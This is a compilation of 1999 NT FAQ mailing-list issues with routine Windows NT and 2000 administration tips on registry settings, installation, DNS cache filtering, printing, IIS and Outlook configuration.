6, Verify that Local Computer is in the Group Policy Object box, and then click Finish.
7, Click Close, and then click OK.
8, Under Local Computer Policy, browse to the following branch:
   Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
9, Right-click the 'Allowed to eject removable NTFS media' policy, and then click Security.
10, In the Local policy setting box, click the group you want, and then click OK. Your choices are:
    -Administrators - Only administrators can eject removable media.
    -Administrators and Power Users - Administrators and Power users can eject removable media.
    -Administrators and Interactive Users - Administrators and Interactive (Standard users) can eject removable media.
11, Quit MMC, type the following command at a command prompt, and then press ENTER:
    secedit /refreshpolicy machine_policy

--------------------------------------------------------------------------------

Q. The Administrator password I set during unattended installation is ignored.

A. A known issue is that when using the AdminPassword unattended installation option and it contains a * character it means the install procedure should set the Administrator account to use a blank password. This means that if it appears anywhere in the password then a blank Administrator password will be set.

[GuiUnattended]
AdminPassword=John*Savill

The fix is to not have a * in the Administrator password.

--------------------------------------------------------------------------------

Q. I'm getting a large number of event 2022 event logs.

A. Windows NT Server 4.0 machines may receive the following errors in the system event log:

Event 2022: Server was unable to find a free connection 1 times in the last 60 seconds.

This happens because a request was made to grow a file and the disk is fragmented or is nearly full. This causes the free space search to take an extremely long time. This request holds system level locks that are needed for other requests to complete. The Server service resource task is pended as well, which causes Event ID 2022.

You should therefore defragment your disk to resolve this issue. If the problem persists perform the following:

1, Start Registry Editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters
3, From the edit menu select New - DWORD value
4, Enter a name of MaxFreeConnections and press Enter
5, Double click the new entry and set to any value up to 100
6, From the edit menu select New - DWORD value
7, Enter a name of MinFreeConnections and press Enter
8, Double click the new entry and set to any value up to 32
9, Close the registry editor
10, Restart the computer

--------------------------------------------------------------------------------

Till next week, take care

John

=======================================================================
The NT Frequently Asked Questions List Created by John Savill
NT FAQ List delivery provided by ED-COM, http://www.ed-com.com
To unsubscribe from this list send a message to
mailto:nt-faq@ed-com.com with the word unsubscribe in the body
Problems with subscription? mailto:awoodrick@ed-com.com
=======================================================================


From: John Savill [john@savilltech.com] Sent: 03 October 1999 14:09 To: NTFAQ Mailing List Subject: NT FAQ, 4 October 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html ~~~~~ULTRABAC.COM FREE Disaster Recovery Software ~~~~~~~~ NEW FREE Disaster Recovery program from UltraBac backup software for your Y2K testing and patches....backup and restore your server with a simple system...even when the OS won't boot! UltraBac Stand Alone Backup - new version does PARTION LEVEL RESTORE for Windows NT (professional version only). UB Stand Alone Backup creates 3 floppies from NT Installation CD which are then used to boot the system and do a "cold metal" backup of the OS and files (Disk Image). No reinstallation of OS and no NT Installation CD required when restoring...just three boot floppies and the tape (or disk). Download FREE version at http://www.ultrabac.com/counter/ntfaq0999.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ News: MMC 1.2 for NT 4.0 and IE 5.0 can be downloaded from http://www.microsoft.com/management/mmc/download.htm. Fixes a couple of problems including a screen flicker issue. Microsoft have announced the retirement of the NT 4.0 example, 4.0 Server, 4.0 Server in the Enterprise and 4.0 Workstation. Don't panic you have until 30 December 2001 to take the 2000 track exams and keep your MCSE. See http://www.microsoft.com/mcp/examinfo/retired.htm for more information. The new Windows 2000 track can be seen at http://www.microsoft.com/mcp/certstep/mcse.htm#w2k and see http://www.microsoft.com/mcp/ for general MCSE/MCP information. Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. How can I run programs during the GUI phase of 2000 installation? Q. What keys are available during startup of Windows 2000 to troubleshoot? Q. Installation of Windows 2000 hangs at the 'Setup is inspecting your computer', what can I do? Q. What logs are available to troubleshoot Windows 2000 installation problems? Q. How can I stop DNS Cache pollution? Q. What are Super Hidden Files? Q. How can I view Super Hidden Files? Q. How do I enable kernel only crash dumps? Q. How can I maintain printer information for my domain? Q. How do I enable Hibernate on my machine? Q. How do I enable/disable passwords when resuming from hibernate/standby? Q. How can I put my machine in 'standby' mode? Q. After upgrading from NT 4.0 to Windows 2000 the timeout in boot.ini has been reset to 30. Q. What is Opportunist locking? --------------------------------------------------------------------------- Q. How can I run programs during the GUI phase of 2000 installation? A. Its sometimes useful to enter commands and run processes during an installation of the operating system. With Windows 2000 GUI installation phase you can press - to open a command window and from there you can start other programs such as TASKMGR.EXE, REGEDT32.EXE. -------------------------------------------------------------------------------- Q. What keys are available during startup of Windows 2000 to troubleshoot? A. Windows 2000 inherits some of the Windows 98 features including the ability to press F8 to bring up a menu allowing various "safe" startup options. Safe Mode Safe Mode with Networking Safe Mode with Command Prompt Enable boot logging Enable VGA mode Enable Last Known Good configuration Directory Services Restore Mode Debugging Mode Boot Normally There are other startup keys available, some of which are not documented: F5 - If during installation at the "Setup is inspecting your computer" the system hangs press F5 and a list of PC types will be listed. Select "Standard PC" which should resolve your problem F6 - Displayed early in setup and allows 3rd party drivers to be loaded F7 - Load the normal PC HAL instead of the ACPI HAL F8 - As shown above - Open command prompt during GUI phase of installation -------------------------------------------------------------------------------- Q. Installation of Windows 2000 hangs at the 'Setup is inspecting your computer', what can I do? A. This is normally caused by it attempting to detect settings such as ACPI so you can override this and tell it to use a standard PC type by pressing F5 while its hung and select "Standard PC". -------------------------------------------------------------------------------- Q. What logs are available to troubleshoot Windows 2000 installation problems? A. Below are a list of useful log files: winnt32.log/winnt.log - Created during installation setuplog.txt - Text mode logging of installation setuperr.log - Log of errors during installation setupact.log - GUI mode logging of setup bootlog.txt - Drivers loaded during setup ntbtlog.txt - Boot logging from Safe Mode option -------------------------------------------------------------------------------- Q. How can I stop DNS Cache pollution? A. DNS cache pollution can occur if Directory Naming Service (DNS) "spoofing" has been encountered. The term "spoofing" describes the sending of non-secure data in response to a DNS query. It can be used to redirect queries to a rogue DNS server and can be malicious in nature. Windows NT DNS can be configured to filter out responses to unsecured records by performing the following: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS\Parameters From the edit menu select New - DWORD value Double click the new value and set to 1. Click OK The following is taken from Knowledge base article Q198409 which helps understand this more: "Examples: DNS server makes MX query for domain.samples.microsoft.com to samples.microsoft.com's DNS server. The samples.microsoft.com DNS server responds but includes A record for A.ROOT-SERVERS.NET giving its own address. The rogue DNS server has then gotten itself set up as a root server in your DNS server's cache. Less malicious, but more common, are referral responses (or direct responses from BIND, see WriteAuthorityNs for discussion) that contain records for the DNS of an ISP: Authority section: new.samples.microsoft.com NS ns.new.samples.microsoft.com. new.samples.microsoft.com NS ns.isp.samples.microsoft.com. Additional section: ns.new.samples.microsoft.com. A 1.1.1.1 ns.isp.samples.microsoft.com. A 2.2.2.2 NOTE: The address record for the ISP happens to be old\stale. If SecureResponses is on, records that are not in a subtree of the zone queried are eliminated. For example, in the example above, the samples.microsoft.com. DNS server was queried, so the all the samples.microsoft.com records are secure, but the ns.isp.microsoft.com. A record is not in the sample .microsoft.com. subtree, and is not cached or returned by the DNS server." -------------------------------------------------------------------------------- Q. What are Super Hidden Files? A. Windows 2000 introduces Super Hidden Files which as the name implies files which are hidden from the user even more than normal hidden files. If you example you enable the ability to view hidden files and folders in Explorer these super hidden files/folders will still not be displayed. This super hidden file status is for folders like the cmdcons folder which is used for the Emergency Recover console. -------------------------------------------------------------------------------- Q. How can I view Super Hidden Files? A. Super hidden files/folders can be viewed from the command line as a normal file, you don't even need the /ah dir switch (/ah sets the mode to attribute hidden). If you wish to view via the GUI, such as Explorer.exe, perform the following: 1, Start Explorer 2, From the Tools menu select 'Folder Options' 3, Select the 'View' tab 4, Unselect the 'Hide protected operating system files (Recommended)' box 5, Click Apply then OK The super hidden files will now be visible in Explorer. This can also be done by directly editing the registry 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer 3, If the value does not exist create a value named ShowSuperHidden of type DWORD 4, Set to 1. Click OK 5, Close the registry editor -------------------------------------------------------------------------------- Q. How do I enable kernel only crash dumps? A. In Windows NT 4.0 when a crash occurs the entire memory is dumper out to file memory.dmp to aid in the debugging of a crash. In reality its only information stored within the kernel portion of memory that is needed and Windows 2000 introduces the ability to only dump out the kernel area of memory. Why? Well if we have 128MB of memory and the machine crashes we get a 128MB file, big, but not to big to FTP to Microsoft. Now imagine you have a huge data store server with terabytes of memory, while Microsoft has the ability to accept files these big a smaller file would be better for everyone. Using the 128MB machine dumping out the kernel only portion of memory would result in a dump of around 35MB, so about 27% of the original file size. To enable kernel only crash dumps perform the following: 1, Start the system control panel applet 2, Select the 'Advanced' tab and click the 'Startup and Recovery' button 3, Under the 'Write Debugging Information' section select 'Kernel Memory Dump' 4, Click OK 5, Restart the computer for the change to take effect You can also set by changing values under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl key. CrashDumpEnabled should be set to 2 for a kernel dump, 3 for a mini-memory dump, and DumpFile should be set to %SystemRoot%\Memory.dmp. -------------------------------------------------------------------------------- Q. How can I maintain printer information for my domain? A. Below is a scipt which will go through the servers you choose in the domain and will dynamically query the servers via ADSI to get the ShareName, PrintDriver, Comment, PrinterPort (IPA, etc...), and PrinterStatus. This script was written by Aaron Shepherd. Here is the script, in ASP: <% sub DisplayPrinterForServer(ServerToDisplay) dim member, bstrFilter dim PrintQObj, PrintQClass, computerName dim item, property dim aStr, domainMembers, computer, computerFilter computerName = ServerToDisplay set bstrNS = getObject("WinNT://" & computerName) 'response.write bstrNS.Name & ": " & bstrNS.class & "
" bstrFilter = array("PrintQueue") bstrNS.Filter = bstrFilter response.write "Printers available at: " & bstrNS.Name & "

" response.write "" response.write "" response.write "" for each member in bstrNS response.write "" response.write "" response.write "" response.write "" next response.write "
ShareName: | Print Driver: | Comment: | Port: | Status:
" & Member.name & " | " & member.model & " | " & Member.description & " | " & Member.PrintDevices & " | " if (Member.Status and &H00000000) <> 0 then response.write "" end if select case Member.Status case &H00000000: response.write "OK" case &H00000001: response.write "Paused" case &H00000002: response.write "Pending Deletion" case else: response.write "Unknown: " & Member.Status end select if (Member.Status and &H00000000) <> 0 then response.write "" end if response.write "
" end sub 'You will need to adjust depending on the number of servers you are querying. It takes 600 seconds for 20 servers Server.ScriptTimeOut = 700 response.write "Printer Queues on Servers in YourDomain

Note this will take 5 minutes to load and you will be notified when it is done.

" DisplayPrinterForServer("server1") DisplayPrinterForServer("server2") DisplayPrinterForServer("server3") DisplayPrinterForServer("server4") DisplayPrinterForServer("server5") DisplayPrinterForServer("server6") DisplayPrinterForServer("server7") DisplayPrinterForServer("server8") response.write "
Completed ASP processing:" %> -------------------------------------------------------------------------------- Q. How do I enable Hibernate on my machine? A. Like Windows 9x, Windows 2000 has full support for APM (Advanced Power Management) which basically allows the operating system to instruct the computer to go into a suspend state or actually switch off. It does this through a special ACPI (Advanced Configuration and Power Interface) HAL (Hardware Abstraction Layer) which is uses if it detects the BIOS supports ACPI. ACPI is the foundation for the OnNow industry initiative that allows system manufacturers to deliver computers that will start at the touch of a key on a keyboard. ACPI design is essential to take full advantage of power management and Plug and Play in Windows 2000. Hibernate allows the machine to save its current state to disk and then power off. When you power the machine back on it will reload its old state meaning any applications/files that were open will still be running and you will lose nothing. What hibernate basically does is dump out the contents of memory to a file, c:\hiberfil.sys (which is slightly bigger than the amount of memory in the machine). To enable hibernate support perform the following: 1, Start the Power Options control panel applet (Start - Settings - Control Panel - Power Options) 2, Select the Hibernate tab 3, Check the 'Enable hibernate support' box 4, Click Apply then click OK The dialog shows the exact amount of memory that will be used for the hibernate file (hiberfil.sys). Once enabled when you select Shutdown there will be an addition option of "Hibernate" which will write out the memory to disk and power off the machine. When you turn it back on you will see a "Resuming Windows" message and (by default) it will ask for the password for the user who locked it (or an Administrator account and password). -------------------------------------------------------------------------------- Q. How do I enable/disable passwords when resuming from hibernate/standby? A. In 'Q. How do I enable Hibernate on my machine?' we saw how to enable hibernate and said that by default upon restart you need to enter a password however this can be changed as follows: 1, Start the Power Options control panel applet (Start - Settings - Control Panel - Power Options) 2, Select the Advanced tab 3, Check/uncheck the 'Prompt for password when computer goes off standby' 4, Click Apply then OK -------------------------------------------------------------------------------- Q. How can I put my machine in 'standby' mode? A. Portable computers that support APM (Advanced Power Management) will have the ability to go into standby mode. While on standby, your entire computer switches to a low power state where devices, such as the monitor and hard disks, turn off and your computer uses less power. When you want to use the computer again, it comes out of standby quickly, and your desktop is restored exactly as you left it. Standby is particularly useful for conserving battery power in portable computers. Because Standby does not save your desktop state to disk, a power failure while on Standby can cause you to lose unsaved information so its best to save any open documents before going into standby. A small amount of power is still used as the machine is not totally turned off as it has to maintain the memory state so any programs running when put in standby will still be active. To put your machine in standby mode manually select 'Stand by' from the shutdown menu. Some portables will also support tapping the power button which will also but in suspend mode rather than powering off but check the manual. You can also configure the machine to automatically go into standby or hibernate after x minutes using the Power Options control panel applet. -------------------------------------------------------------------------------- Q. After upgrading from NT 4.0 to Windows 2000 the timeout in boot.ini has been reset to 30. A. The timeout value which is the amount of time you have to pick your operating system during system startup is defined in the BOOT.INI file. During an upgrade to 2000 this value is reset to 30 no matter what you may have set to in the past. To change back to your preferred value perform the following: Right-click My Computer on the desktop, and then click Properties. On the Advanced tab, click Startup and Recovery. Change the value in the Display list of operating systems for N seconds to the value you want, in seconds. Click OK, and then click OK. You can also do this by directly editing boot.ini file and change the timeout value to the number of seconds you require: [boot loader] timeout=10 Remember the file boot.ini is a read-only file so you will first need to set it as write enabled: c:\> attrib boot.ini -r -s -h Edit boot.ini c:\> attrib boot.ini +r +s +h (to put the file settings back( -------------------------------------------------------------------------------- Q. What is Opportunist locking? A. With Exclusive Oplock, if a file is opened in a non-exclusive (deny none) mode, the redirector requests an opportunistic lock of the entire file. As long as no other process has the file open, the server will grant this oplock, giving the redirector exclusive access to the specified file. This will allow the redirector to perform read-ahead, write-behind, and lock caching, as long as no other process tries to open the file. When a second process attempts to open the file, the original owner will be asked to Break Oplock or Break to Level II Oplock. At that point, the redirector must invalidate cached data, flush writes and locks, and release the oplock, or close the file. Opportunistic Locking level II, provides a method for granting read access to a file by more than one workstation, and these workstations can cache read data locally (read-ahead). As long as no station writes to the file, multiple stations can have the file open with level II oplock. For more information see http://support.microsoft.com/support/kb/articles/Q129/2/02.asp has LOADS of information about tuning both the server and workstation. -------------------------------------------------------------------------------- John


All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Windows 2000 Release Candidate 1 (build 2072) was released on Friday to the 2000 beta team and so far it looks good. I've installed on 3 servers and a couple of workstations and no problems so far. A large number of old bugs have been fixed.

The winner of the logo competition was jmcbride@brother.com and he wins a copy of UltraBac. The runners up were:
BillGIS@aol.com, daniel.palm@SORMAN.SE and tsniff@wolfcountry.com who all get their own signature font (www.signafont.com) courtesy of SignaFonts which takes a paper copy of your signature and converts it to a true type font, cool!

Standard items:

The NT FAQ book can now be reserved via Amazon.com and will be out in July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss/discuss.html

New additions last week:

Q. How can I synchronize accounts between NT and Unix?
Q. How can I perform a function in a logon script depending on machines Service Pack version?
Q. How can I change the number of threads IIS uses?
Q. How can I limit bandwidth/processor usage for IIS?
Q. I have forgotten the content advisor password under Windows 9x/IE 5.0.
Q. How can I view print jobs from the command line?
Q. How can I delete a print job from the command line?
Q. Mouse movement is jerky in Terminal Server sessions.
Q. Does MetaFrame run on Windows 2000?
Q. How can I remotely change the size of a pagefile?

----------------------------------------------------------------------------

Q. How can I synchronize accounts between NT and Unix?

A. A Unix based tool WinDD NIS from http://www.ncd.com/windd_nis.html enables user account and group information to be synchronized with an NT domain.

------------------------------------------------------------------

Q. How can I perform a function in a logon script depending on machines Service Pack version?

A. A new utility from SavillTech, CmdInfo sets error level values depending on the Service Pack version of the client machine, depending on the results different actions can be taken.

CmdInfo can be downloaded from http://www.savilltech.com/download/cmdinfo.zip.

CmdInfo can also perform actions depending on the OS version, installation type. Below is an example of usage to detect SP version in a logon script:

@ECHO OFF

CMDINFO.EXE /sp
IF ERRORLEVEL 5 GOTO SP5
IF ERRORLEVEL 4 GOTO SP4
IF ERRORLEVEL 3 GOTO SP3
IF ERRORLEVEL 2 GOTO SP2
IF ERRORLEVEL 1 GOTO SP1
IF ERRORLEVEL 0 GOTO SP0

:SP5
ECHO Service Pack 5 is installed on this NT computer.
ECHO No further upgrades are necessary.
GOTO END

:SP4
ECHO Service Pack 4 is installed on this NT computer.
ECHO Press any key to install Service Pack 5...
PAUSE > NUL
rem Let's assume drive X: is mapped to a sharepoint...
rem X:\SP5\UPDATE\UPDATE.EXE -u -f -o
GOTO END

rem (etc. ...)

:END
EXIT

--------------------------------------------------------------------------------

Q. How can I change the number of threads IIS uses?

A. IIS uses multiple threads to enable efficient scaling on single and mutli-processor systems. By default 10 threads are used however this number can be changed but before changing you need to monitor the following items using Performance Monitor

Process - Thread Count - Inetinfo
Thread - %Processor Time - Inetino - Thread no.
Thread - Context Switches/sec - Inetino - Thread no.
If the IIS threads are busy nearly all the time AND the processor(s) are at maximum usage you need to consider distributing the load among other servers or adding more processors, increasing the number of threads will NOT help.

If the IIS threads are busy nearly all the time but the processor(s) are NOT at maximum usage increasing the number of threads may help.

To increase perform the following:

Start the registry editor (regedit.exe)
Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Inetinfo\Parameters
From the Edit menu select New - DWORD value
Enter a name of MaxPoolThreads and press Enter
Double click the new value and set to between 5 and 20. Never more or less. Click OK
Stop and start the IIS service

--------------------------------------------------------------------------------

Q. How can I limit bandwidth/processor usage for IIS?

A. Its possible to limit IIS web sites (on a per site basis) usage of both bandwidth and processor. This is useful if a server hosts many sites and you want to ensure no one site can use up all the resources. Processor throttling is only available in IIS 5.0.

To enable perform the following:

Start the Internet Services Manager (Start - Programs - Administrative Tools - Internet Services Manager)
Right click on the web site and select Properties
Select the 'Performance' tab
Check the 'Enable bandwidth throttling' and enter the maximum amount of bandwidth the web site may use
Check the 'Enable process throttling' and enter a percentage maximum of processor time the CPU may use. If you do not check 'Enforce limits' only an event log is written when the site uses over the specified amount and you may want to check why its using so much CPU. Checking the 'Enforce limit' box will actually stop the site using more than the specified percentage.

Click Apply
Click OK

--------------------------------------------------------------------------------

Q. I have forgotten the content advisor password under Windows 9x/IE 5.0.

A. The password for the content advisor is stored in an encrypted form and decrypting it, while possible, is to complicated for our purposes so we will instead just "reset" the password as if it had never been set.

Start the registry editor (regedit.exe)
Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
Select Ratings and delete (press the DEL key). Click OK to the confirmation
Delete the RATINGS.POL file (it is hidden) out of \WINDOWS\SYSTEM directory
Restart IE and you should be able to set the password with Internet Options - Content.

--------------------------------------------------------------------------------

Q. How can I view print jobs from the command line?

A. Windows NT provides built in ability to monitor print queues from the command line using the NET PRINT command.

To view the current print queue use syntax

C:\> net print \\<server>\<print share>

For example:

C:\>net print \\LNPSPA0001\LNPRTP0017

Printers at \\LNPSPA0001

Name Job # Size Status

LNPRTP0017 Queue 1 jobs *Printer Active*
saviljo 247 120 Printing
The command completed successfully.

Notice there is a single print job by user saviljo which is being printed.

--------------------------------------------------------------------------------

Q. How can I delete a print job from the command line?

A. You can delete a print job using the NET PRINT command but must first know its job id and this can be ascertained by typing

C:\> net print \\<server>\<print share>
<user> <job id> <size> <status>

Once you know the job ID to delete just type

C:\> net print \\<server> <job number>

--------------------------------------------------------------------------------

Q. Mouse movement is jerky in Terminal Server sessions.

A. By default the terminal server client sends updates to the terminal server every 100 milliseconds however you can change this as follows:

Logon to the client
Start the registry editor (regedit.exe)
Move to HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client
From the Edit menu select New - DWORD value
Enter a name of 'Min Send Interval' (don't type the quotes) and press Enter
Double click the new value and set to the number of milliseconds between each update. The lower you set it the more bandwidth will be used. Click OK
Close the registry editor
Restart the terminal server client software

--------------------------------------------------------------------------------

Q. Does MetaFrame run on Windows 2000?

A. The normal MetaFrame 1.8 does not, however a 1.8a will and a beta can currently be purchased from the Citrix web site, http://www.citrix.com/.

Installation is basically the same as 1.8.

--------------------------------------------------------------------------------

Q. How can I remotely change the size of a pagefile?

A. Pagefile information is stored in the registry as a multi_string (so you HAVE to use regedt32.exe) and can be changed locally as follows:

1, Start the registry editor (regedt32.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
3, Double click PagingFiles
4, There is one line for each page file, the format is
<location> <initial size> <maximum size>
e.g.
C:\pagefile.sys 120 140
5, Click OK
6, Close the registry editor
7, Reboot the machine

To change on another machine you should use the resource kit REG.EXE utility but the command below will replace the current page file and will NOT check you have enough disk space so you may want to create a script that does check. Make sure the machine is rebooted after the change.

C:\> reg update "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PagingFiles"="<location> <initial size> <max size>" \\<remote machine>

For example:

C:\> reg update "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PagingFiles"="C:\pagefile.sys 120 140" \\titanic.savilltech.com

Make sure you test this before trying to use on live machines.

--------------------------------------------------------------------------------

Till next week,

John


From: John Savill [john@savilltech.com]
Sent: 05 May 1999 10:08
To: NTFAQ Mailing List
Subject: NT FAQ, 5 May 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Windows 2000 Beta 3 has been released to a number of beta sites and Windows NT 4.0 Service Pack 5 has been released http://www.microsoft.com/ntserver/nts/downloads/recommended/sp5/.

Standard items:

The NT FAQ book can now be reserved via Amazon.com and should be out June/July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss

New additions last week:

Q. How do I install the Recovery Console? - Windows 2000 only
Q. How do I install the Windows 9x directory services client?
Q. How do I create a queue to a Network Printer in Windows 2000?
Q. How do I create an Outlook vCard?
Q. How can I configure Outlook to be the default mail client?
Q. How can I configure Outlook Express to be the default News reader?
Q. Users are unable to logon to my Small Business Server even though I have enough licenses.
Q. How to stop the NT4 Option Pack/Windows 2000 SMTP service from advertising 8bitmime?
Q. How can I modify the My Computer text to show logged on username and machine name?
Q. How do I install a digital signature in Outlook?
Q. How do I enable live scrolling on Word 97?
Q. A useful tip for navigating in Explorer and the Registry Editor.
Q. Where is the Hardware Compatibility List for Windows 2000?
Q. How can I use path names longer than 255 characters?

------------------------------------------------------------------

Q. How do I install the Recovery Console? - Windows 2000 only

A. The Windows 2000 recovery console enables an Administrator to gain access to a 2000 system from a command session to replace damaged files and to disable or enable services. When installed it adds an option to the Windows 2000 start menu.

To install perform the following:

Boot into Windows 2000
Insert the installation CD
From a command prompt move to the I386 directory and type:
C:\> winnt32 /cmdcons
A dialog will be displayed asking for confirmation. Click Yes.
File will be copied to the computer and an extra item added to the boot menu.
C:\CMDCONS\BOOTSECT.DAT="Microsoft Windows 2000 Command Console" /cmdcons
A completion message will be displayed. Click OK
Rebooting the computer will enable the option "Microsoft Windows 2000 Command Console" to be selected and start Windows 2000 in command mode.

You will be asked which 2000 installation to repair and the Administrator password:

Microsoft Windows 2000(TM) Recovery Console.

The Recovery Consoel provides system repair and recovery functionality.

Type EXIT to quit the Recovery Console and restart the computer.

1: C:\Winnt
2: F:\WINNT

Which Windows 2000 installation would you like to log onto
(To cancel, press ENTER)? 2
Type the Administrator password: ***

Once you have entered the password you will be able to enter a number of commands such as DISABLE to disable a service, DISKPART to create and remove partitions and many others. Just type HELP for a list of all commands.

Its also possible to activate the console directory from the installation CD by booting off of the CD (if you motherboard supports CD booting), select Repair and press C to repair using the console.

If you have renamed the Administrator account the console will still work however deleting the Administrator account will render the console inoperative.

The Recovery Console does not currently work on domain controllers.

--------------------------------------------------------------------------------

Q. How do I install the Windows 9x directory services client?

A. Windows 2000 ships with a Windows 9x directory services client which allows 95 and 98 to used some of the more advanced features of the Active Directory. To install perform the following:

1, Insert the Windows 2000 Server
2, Move to the Clients\Win9x folder
3, Double click on Dsclient.exe
4, Click Next to the wizard start-up screen
5, Select the 'I accept this agreement' on the license screen and click Next
6, Click Next to the installation start dialog box
7, A number of files will be installed on the client machine
Once the file copy has completed click Finish to the wizard
8, Click Yes to restart the machine

You could install the client from a network share by copying the Dsclient.exe to a share on a server.

With the DS client installed you can perform full searches on the Active Directory, for example selecting Start - Find - Printers you can enter your location and it will find printers near you!

--------------------------------------------------------------------------------

Q. How do I create a queue to a Network Printer in Windows 2000?

A. If you have a printer that has its own network card and IP address such as a HP JetDirect card, you can create a queue to the device by following the instructions below

1, Login as a member of the Administrators Group
2, From the Start menu select Settings - Printers
3, Double click 'Add Printer'
4, Click Next to the Add Printer wizard introduction screen
5, Select 'Local printer' and uncheck 'Automatically detect my printer'. Click Next
6, The next screen asks for the port. Select 'Create a new port:' and select 'Standard TCP/IP Port'. Click Next
7, The TCP/IP printer wizard will be started. Click Next
8, Enter the IP address or DNS name of the printer (by default the port name will be IP_<IP/DNS name>). Click Next
9, Click Finish to the port creation
10, You will have to select the printer make and model. Click Next
11, Enter a name for the printer (a default name will be displayed). Click Next
12, Select to share the printer and a name for the share. Click Next
13, Enter a Location of the printer and a comment (this is useful for people searching for printers using the Active Directory). Click Next
14, Select to print a test page and if you want to install additional drivers for other clients (such as Windows 98). Click Next
15, A summary will be shown. Click Finish

If the port on the printer is incorrect (i.e. for a JetDirect card it will use 9100 but the actual port is 9099 for an internal card) perform the following:

1, Select Settings - Printers from the Start menu
2, Right click on the network printer and select Properties
3, Select the Ports tab
4, Select the IP port and click 'Configure Port'
5, Under the Raw Settings section you can change the port number. Click OK
6, Click Close to the main properties dialog

--------------------------------------------------------------------------------

Q. How do I create an Outlook vCard?

A. Microsoft Outlook supports the use of vCards, the Internet standard for creating and sharing virtual business cards. In Outlook, as well as other e-mail applications and personal information managers, you can save a contact as a vCard or save vCards sent in e-mail messages.

To create a vCard to be attached to all outgoing messages perform the following under Outlook 98 and Outlook 2000:

1, Create a new contact in Contacts of what you want your expanded vCard to look like. Remember this will go to everyone you send mail to so don't include personal information such as home number, address unless you really want to!
2, From the Tools menu select Options
3, Select the 'Mail Format' tab
4, Click the 'Signature Picker..' button
5, Click New to create a new signature
6, Enter a name for the signature and click Next
7, Enter text to be displayed and click 'New vCard from Contact'
8, Select the contact and click Add. Click OK
9, Select the new vCard from the dropdown list and click OK
10, Click OK to the Signature Picker
11, Click OK to the main options dialog
12, All outgoing mail will now have your signature and vCard attached.

--------------------------------------------------------------------------------

Q. How can I configure Outlook to be the default mail client?

A. Outlook 98 and Outlook 2000 will prompt you when starting to set as the default mail client if they are not already configured as such however if you checked the "Don't ask me this again" box you cannot display this dialog.

To force Outlook 98 and 2000 to check type the following:

C:\> "c:\program files\microsoft office\office\outlook.exe" /checkclient

Click Yes to the

"Outlook is not currently your default manager for Mail and News.
Would you like to register Outlook as the default manager?"

displayed message.

Clicking Yes updates the following registry entries which you can also manually update (and will need to for older Outlook clients such as Outlook 97)

Start the registry editor (regedit.exe)
Move to HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail
Double click the (Default) value and set to "Microsoft Outlook" (don't type the quotes)
Move to HKEY_CLASSES_ROOT\mailto
Double click the (Default) value and set to "URL:MailTo Protocol" (don't type the quotes)
Double click the EditFlags value and set to 02 00 00 00
Double click the URL Protocol value and clear
Move to the DefaultIcon folder (HKEY_CLASSES_ROOT\mailto\DefaultIcon)
Double click the (Default) value and set to
"C:\Program Files\Microsoft Office\Office\outllib.dll",-12
Move to HKEY_CLASSES_ROOT\mailto\shell\open\command
Doucle click (Default) and change to
"C:\Program Files\Microsoft Office\Office\outlook.exe" -c IPM.Note /m "%1"
Alternate values (such as Lotus Notes) are:
"C:\Program Files\notes\notes.exe"=C:\WINNT\notes.ini %1
Reboot the computer

--------------------------------------------------------------------------------

Q. How can I configure Outlook Express to be the default News reader?

A. To configure Outlook Express as the default News reader perform the following:

Start Outlook Express
From the Tools menu select Options
Select the General tab
At the bottom of the dialog box click the 'Make Default' button next to the 'This application is NOT the default News handler'.
You can also manually perform the change by making the following registry changes:

Start the registry editor (regedit.exe)
